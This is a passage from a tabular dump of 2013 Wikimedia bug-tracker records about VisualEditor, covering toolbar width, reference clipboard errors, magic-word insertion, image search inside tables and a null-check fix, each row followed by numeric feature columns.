**Version**: unspecified
**Severity**: enhancement"
248201,VisualEditor: Add guidance message into the reference dialog to tell a user what to put there,"This feels like the wrong approach. In general, if you have to prompt a user with text telling them what to do, your interface has failed.

Bug 50110 (which we want to work on soon) would give users some buttons (or something similar) for a few, recommended templates for the context - and yes, that would be wiki-localised.

Consequently, I'm marking this as WONTFIX so we can focus on bug 50110.",,,1375141752,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zg6asep6oadhz6pkrf4o,task_subcomment,,True,c1,3,True,,,4,,2.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,3.0,0.0,2.0,15.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,2.0,1.0,6.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,7.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,7.0,1.0,2.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,1.0,2.0,0.0,0.0,0.0,3.696629213483146,0.7752808988764045,"This feels like the wrong approach. In general, if you have to prompt a user with text telling them what to do, your interface has failed.

Bug 50110 (which we want to work on soon) would give users some buttons (or something similar) for a few, recommended templates for the context - and yes, that would be wiki-localised.

Consequently, I'm marking this as WONTFIX so we can focus on bug 50110."
54248,Provide a way for the Behavior switches magic words to be inserted.,"The Behavior switches like __TOC__, __NOTOC__ are occasionally useful in the article space and __NOINDEX__ is a useful in the user namespace. Some way to insert these in visual editor would be handy.

Bug 49996 and Bug 50855 also address magic words, but don't seem to cover the Behavior switches.

This was discussed at http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Some_ideas_for_29_July

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1375136040,1385384185.0,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,False,PHID-TASK-yokifd7zmqwcieiz3iiy,task_description,resolved,True,c1,3,False,False,False,4,,1.0,0.0,0.0,1.0,1.0,8.0,3.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,14.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,14.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.6989247311827955,0.6236559139784946,"The Behavior switches like __TOC__, __NOTOC__ are occasionally useful in the article space and __NOINDEX__ is a useful in the user namespace. Some way to insert these in visual editor would be handy.

Bug 49996 and Bug 50855 also address magic words, but don't seem to cover the Behavior switches.

This was discussed at URL

--------------------------
**Version**: unspecified
**Severity**: normal"
248120,Provide a way for the Behavior switches magic words to be inserted.,"This was later created as bug 56865, but I'm only just triaging this now. Up-merging (unusually) given the history on that one - sorry!

*** This bug has been marked as a duplicate of bug 56865 ***",,,1385384185,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yokifd7zmqwcieiz3iiy,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,2.0,0.0,2.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,6.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,0.0,2.0,12.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,3.24,0.78,"This was later created as bug 56865, but I'm only just triaging this now. Up-merging (unusually) given the history on that one - sorry!

*** This bug has been marked as a duplicate of bug 56865 ***"
54242,VisualEditor: template substituted in,"See https://en.wikipedia.org/w/index.php?title=Cruz_Azul&diff=564888460&oldid=564725284 - very strange.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1375130640,1385395969.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-ahjlajk3zasbqo4br4bs,task_description,resolved,True,c1,3,False,False,False,4,,0.0,0.0,4.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7916666666666665,0.625,"See URL - very strange.

--------------------------
**Version**: unspecified
**Severity**: normal"
247748,VisualEditor: template substituted in,This was a recurring Parsoid bug which is now fixed; closing. Sorry for slow triage.,,,1385395969,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ahjlajk3zasbqo4br4bs,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,11.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,3.888888888888889,0.9444444444444444,This was a recurring Parsoid bug which is now fixed; closing. Sorry for slow triage.
54218,inserting media into tables,"Inserting media, namely images, into complext tables leads to problems. A user tried to put an image into a table listing Intel CPU sockets on De.WP and the search function went back and forth in being able to find the image he knew was on Commons and how it is labeled.

Table:

http://de.wikipedia.org/wiki/Prozessorsockel#Intel

Image:

http://commons.wikimedia.org/wiki/File:Intel_Socket_1150_IMGP8593_smial_wp.jpg

The file fails to show up, if you put its name in manually once you reach ""5""

Report:

http://de.wikipedia.org/w/index.php?title=Wikipedia:Technik/Text/Edit/VisualEditor/Beta2013-07&oldid=121004381#Bildeinbindung

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1375105920,1383282089.0,PHID-USER-wswkm7jrcwes3tc7o34k,True,,False,PHID-TASK-d4phvcwb6pak5wn2vbdh,task_description,resolved,True,c1,3,False,False,False,4,,0.0,0.0,0.0,0.5,0.0,3.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.5,0.0,2.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,0.0,0.5,3.5,2.0,1.5,1.0,2.0,0.0,0.0,1.0,0.0,0.0,0.5,1.0,2.5,0.0,0.5,0.0,0.0,0.0,14.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.5,11.5,2.5,1.5,3.5,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,3.5,8.5,2.5,0.0,2.0,0.0,3.5,0.0,0.5,1.5,0.0,1.0,0.0,0.0,0.0,3.555357142857143,0.7016233766233766,"Inserting media, namely images, into complext tables leads to problems. A user tried to put an image into a table listing Intel CPU sockets on De.WP and the search function went back and forth in being able to find the image he knew was on Commons and how it is labeled.

Table:

URL

Image:

URL

The file fails to show up, if you put its name in manually once you reach ""5""

Report:

URL

--------------------------
**Version**: unspecified
**Severity**: normal"
246556,inserting media into tables,"This is actually a duplicate of bug 52782, which has been marked as WONTFIX as the Wikimedia search system is being replaced. Sorry for the slow response.

*** This bug has been marked as a duplicate of bug 52782 ***",,,1383282089,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-d4phvcwb6pak5wn2vbdh,task_subcomment,,True,c1,3,True,,,17,,0.0,0.0,0.0,8.0,0.0,2.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,10.0,10.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,3.7083333333333335,0.5833333333333334,"This is actually a duplicate of bug 52782, which has been marked as WONTFIX as the Wikimedia search system is being replaced. Sorry for the slow response.

*** This bug has been marked as a duplicate of bug 52782 ***"
246548,inserting media into tables,"Confirmed.
Typing 'Intel Socket 11' gives a list of images, but not this image.
Typing 'Intel Socket 115' gives zero results.

The image description is 'Intel core socket 1150, open.'

Typing in 'Intel core socket 1150' does show this, and other images, so it doesnt appear to be bug 50018.",,,1375133339,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-d4phvcwb6pak5wn2vbdh,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,3.0,15.0,1.0,3.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,1.0,6.0,8.0,0.0,11.0,0.0,1.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,3.4027777777777777,0.5833333333333334,"Confirmed.
Typing 'Intel Socket 11' gives a list of images, but not this image.
Typing 'Intel Socket 115' gives zero results.

The image description is 'Intel core socket 1150, open.'

Typing in 'Intel core socket 1150' does show this, and other images, so it doesnt appear to be bug 50018."
54212,reference clipboard errors,"If one tries to move a reference using Ctrl + X to pick it out, Ctrl + V doesn't work, i.e. the reference doesn't seem to be stored in the clipboard. 

If one selects the sign to the left of the reference as well, Ctrl + V provides the reference number but not the content, which gets lost.

If one selects the sign to the right of the reference as well, Ctrl + V provides the sign to the right but the reference gets lost.

If one selects a sign to the right and to the left of the reference, it works.

Report: http://de.wikipedia.org/w/index.php?title=Wikipedia:Technik/Text/Edit/VisualEditor/Beta2013-07&oldid=120995561#Einzelnachweise_in_der_Zwischenablage

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1375088700,1375134084.0,PHID-USER-wswkm7jrcwes3tc7o34k,True,,False,PHID-TASK-etdxsdkmhg4aoyrvdmmw,task_description,resolved,True,c1,3,False,False,True,4,,0.0,0.0,0.0,0.5,1.5,1.5,0.0,0.0,0.0,2.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,10.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,6.5,0.0,1.0,0.5,0.0,0.5,0.5,0.5,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,0.5,9.5,2.0,4.0,11.5,0.0,0.0,0.0,0.0,2.5,0.0,1.5,0.0,1.5,10.0,4.0,0.0,0.0,0.0,1.5,0.0,0.5,1.0,0.0,0.5,0.0,0.0,0.5,3.5113871635610767,0.5608695652173913,"If one tries to move a reference using Ctrl + X to pick it out, Ctrl + V doesn't work, i.e. the reference doesn't seem to be stored in the clipboard. 

If one selects the sign to the left of the reference as well, Ctrl + V provides the reference number but not the content, which gets lost.

If one selects the sign to the right of the reference as well, Ctrl + V provides the sign to the right but the reference gets lost.

If one selects a sign to the right and to the left of the reference, it works.

Report: URL

--------------------------
**Version**: unspecified
**Severity**: normal"
246229,reference clipboard errors,"

*** This bug has been marked as a duplicate of bug 49396 ***",,,1375134084,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-etdxsdkmhg4aoyrvdmmw,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 49396 ***"
54205,VisualEditor: Toolbar should fit on landscape iPad (and average non-maximised windows in general),"Screenshot of VE on an iPad (3rd gen, iOS 6, en.wikipedia.org)

Dimensions   Dim.. without OS menu bar
iPhone / iPod     320 x 480    320 x 460
iPh?o.. Retina    640 x 960    640 x 920
iPad (portait)    768 x 1024   768 x 1004
iPa.. (landscape) 1024 x 768   1024 x 748


So that means at least under 1024px (not accounting for MediaWiki sidebar, that is to be subtracted from that)

Measuring on my MacBook Pro in latest Chrome I measure exactly 1281px as the minimum window width to have the toolbar be one line. 1331px to account for vector-hd mode and allow a bit of breathing room between the left and right half of the toolbar.

When at 1281px, the width of just the toolbar (subtracted the mw sidebar) is 1103px.

So, a lot to cut down on. Any ideas?

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11563}",Needs Triage,90.0,1375057440,1380221526.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-wgr5qefyrk6vxixqgywz,task_description,resolved,True,c1,3,True,False,True,4,,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,4.333333333333333,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,3.0,8.666666666666666,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,9.666666666666666,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.3333333333333333,7.666666666666667,0.3333333333333333,0.6666666666666666,5.666666666666667,0.0,0.0,0.0,0.0,2.0,0.0,6.333333333333333,0.0,0.6666666666666666,8.666666666666666,7.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,1.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,3.4536922015182885,0.7173222912353348,"Screenshot of VE on an iPad (3rd gen, iOS 6, en.wikipedia.org)

Dimensions   Dim.. without OS menu bar
iPhone / iPod     320 x 480    320 x 460
iPh?o.. Retina    640 x 960    640 x 920
iPad (portait)    768 x 1024   768 x 1004
iPa.. (landscape) 1024 x 768   1024 x 748


So that means at least under 1024px (not accounting for MediaWiki sidebar, that is to be subtracted from that)

Measuring on my MacBook Pro in latest Chrome I measure exactly 1281px as the minimum window width to have the toolbar be one line. 1331px to account for vector-hd mode and allow a bit of breathing room between the left and right half of the toolbar.

When at 1281px, the width of just the toolbar (subtracted the mw sidebar) is 1103px.

So, a lot to cut down on. Any ideas?

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11563}"
245709,VisualEditor: Toolbar should fit on landscape iPad (and average non-maximised windows in general),"Yes, this is; merging.

*** This bug has been marked as a duplicate of bug 51000 ***",,,1380221526,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wgr5qefyrk6vxixqgywz,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,2.76,0.76,"Yes, this is; merging.

*** This bug has been marked as a duplicate of bug 51000 ***"
245700,VisualEditor: Toolbar should fit on landscape iPad (and average non-maximised windows in general),Same as bug 51000?,,,1380219240,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-wgr5qefyrk6vxixqgywz,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Same as bug 51000?
245693,VisualEditor: Toolbar should fit on landscape iPad (and average non-maximised windows in general),"Created attachment 13387
Screenshot of two side-by-side VE windows on 1080p screen

I see the exact same problem when sizing a window to half of a 1080p HD screen -- circa 960px window width is not uncommon...

**Attached**: {F11565}",,,1380219110,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-wgr5qefyrk6vxixqgywz,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,2.0,13.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,9.0,9.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,3.6666666666666665,0.7962962962962963,"Created attachment 13387
Screenshot of two side-by-side VE windows on 1080p screen

I see the exact same problem when sizing a window to half of a 1080p HD screen -- circa 960px window width is not uncommon...

**Attached**: {F11565}"
54198,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'params' of undefined 'content'""","Per http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Content_transclusion_causes_WTF_mode

If trying to add a template, only adding content (empty) and click apply, following error is thrown:

TypeError: content is undefined
http://bits.wikimedia.org/static-1.22wmf11/extensions/VisualEditor/modules/ve-mw/dm/nodes/ve.dm.MWTransclusionNode.js
Line 192

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1375037280,1384198086.0,PHID-USER-2mkpm2voxepwvz7abjug,False,,False,PHID-TASK-3h7v3emjhhqinh5o5aqf,task_description,declined,True,c1,3,False,False,False,3,,0.0,0.0,0.0,2.0,0.0,7.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,15.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,3.814814814814815,0.6481481481481481,"Per URL

If trying to add a template, only adding content (empty) and click apply, following error is thrown:

TypeError: content is undefined
URL
Line 192

--------------------------
**Version**: unspecified
**Severity**: normal"
245098,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'params' of undefined 'content'""","(In reply to comment #5)
> Doesn't give a error anymore, but API is returning: 
> 
>  {""warnings"":{""main"":{""*"":""Unrecognized parameter:
> 'token'""}},""visualeditor"":{""result"":""success"",""content"":""<p>x</p>\n\n""}}

That warning is unrelated. We're passively passing the authentication token to API requests, even though some API requests don't require a token. This is technical debt we should clean up.

Closing bug as fixed/worksforme.",,,1384198086,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-3h7v3emjhhqinh5o5aqf,task_subcomment,,True,c1,3,True,,,19,,2.0,0.0,0.0,0.0,2.0,3.0,3.0,0.0,2.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,5.0,10.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,21.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,18.0,2.0,0.0,8.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.8688524590163933,0.7540983606557377,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE

That warning is unrelated. We're passively passing the authentication token to API requests, even though some API requests don't require a token. This is technical debt we should clean up.

Closing bug as fixed/worksforme."
245094,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'params' of undefined 'content'""","(In reply to comment #1)
> 1. Insert Transclusion
> 2. Ignore ""New template"" panel in the dialog and go to ""+ [] Add content""
> 3. Type ""x""
> 4. Apply changes

5. Show changes
6. Review your changes

  Foo
+ x
  Bar

All works as expected on latest master, and no errors.",,,1384198025,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-3h7v3emjhhqinh5o5aqf,task_subcomment,,True,c1,3,True,,,19,,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,4.0,4.0,0.0,0.0,0.0,2.0,6.0,0.0,6.0,0.0,2.0,9.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.021276595744681,0.7446808510638298,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE

5. Show changes
6. Review your changes

  Foo
+ x
  Bar

All works as expected on latest master, and no errors."
245091,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'params' of undefined 'content'""","Doesn't give a error anymore, but API is returning: 

 {""warnings"":{""main"":{""*"":""Unrecognized parameter: 'token'""}},""visualeditor"":{""result"":""success"",""content"":""<p>x</p>\n\n""}}",,,1384196822,,PHID-USER-2mkpm2voxepwvz7abjug,False,,,PHID-TASK-3h7v3emjhhqinh5o5aqf,task_subcomment,,True,c1,3,False,,,19,,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,6.64,0.88,"Doesn't give a error anymore, but API is returning: 

 {""warnings"":{""main"":{""*"":""Unrecognized parameter: 'token'""}},""visualeditor"":{""result"":""success"",""content"":""<p>x</p>\n\n""}}"
245088,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'params' of undefined 'content'""","(In reply to comment #3)
> (In reply to comment #2)
> > > > >      if (content.params) {
> > 
> > If we had used coffescript instead of plain JS, it would be so simple to
> > write
> > that as:
> >  if content?.params
> >    ...
> > 
> > Now I assume we'll need to do it manually as
> >   if (typeof content !== ""undefined"" && content !== null && content.params) {
> >     ...
> >   }
> It's much easier than that, you can just do if ( content && content.params )
> .
> No need to use typeof and string comparisons and all that :)
> 
> Really, though, content shouldn't be undefined in the first place.

Indeed, guarding it with an if statement for content? itself is undesirable because the error is elsewhere.",,,1384196302,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-3h7v3emjhhqinh5o5aqf,task_subcomment,,True,c1,3,True,,,19,,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,31.0,3.0,0.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,3.0,9.0,25.0,2.0,0.0,0.0,3.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,3.4,0.46153846153846156,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Indeed, guarding it with an if statement for content? itself is undesirable because the error is elsewhere."
245083,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'params' of undefined 'content'""","(In reply to comment #2)
> > > >      if (content.params) {
> 
> If we had used coffescript instead of plain JS, it would be so simple to
> write
> that as:
>  if content?.params
>    ...
> 
> Now I assume we'll need to do it manually as
>   if (typeof content !== ""undefined"" && content !== null && content.params) {
>     ...
>   }
It's much easier than that, you can just do if ( content && content.params ) . No need to use typeof and string comparisons and all that :)

